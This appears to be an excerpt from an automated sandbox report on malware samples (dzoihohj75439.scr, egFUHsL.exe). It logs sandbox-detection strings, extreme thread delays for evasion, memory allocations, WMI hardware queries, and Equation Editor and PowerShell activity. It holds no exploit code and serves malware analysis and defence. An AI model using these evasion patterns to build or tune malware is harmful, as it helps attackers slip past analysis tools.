Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dzoihohj75439.scr, 00000005.00000002.361580935.00000000033DE000.00000004.00000800.00020000.00000000.sdmp, dzoihohj75439.scr, 0000000D.00000002.718122401.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 1F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 21E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 560000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 53D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 63D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 5250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 1B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 2590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: C920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 9180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 11220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 12220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: D920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 12880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 16550000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 21BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 2A8C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 26FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 2E5C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 2F5C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 2D340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 33C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 34C10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Memory allocated: 36610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 2F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 2350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 8C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 5330000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 6330000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 6700000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 7700000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 1C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 2350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 5A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: E800000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: D770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: B320000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 11C10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 13A10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 14190000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 17CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 18CB0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 1F690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 20690000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 1D900000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 21A90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Memory allocated: 232E0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Thread delayed: delay time: 1200000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 767	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6695	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4228	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2084	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Window / User API: threadDelayed 3242	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Window / User API: threadDelayed 6562	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3055
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2170
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1467
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Window / User API: threadDelayed 1507
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Window / User API: threadDelayed 8309

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3328	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 3668	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 3476	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3584	Thread sleep count: 767 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3584	Thread sleep count: 6695 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3736	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3744	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3616	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3760	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3760	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 3864	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -1000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -59383s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -40611s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -38635s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr TID: 4060	Thread sleep time: -61358s >= -30000s	Jump to behavior
Source: C:\Windows\System32\taskeng.exe TID: 3876	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 2392	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3904	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep count: 3180 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep count: 3055 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3216	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4012	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3144	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2788	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2644	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3284	Thread sleep time: -720000s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -2400000s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3620	Thread sleep count: 1507 > 30
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3704	Thread sleep count: 8309 > 30
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -40064s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -199876s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -99984s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -99968s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -99969s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -99891s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -99906s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -79928s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -79700s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -240189s >= -30000s
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe TID: 3728	Thread sleep time: -159970s >= -30000s
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3716	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
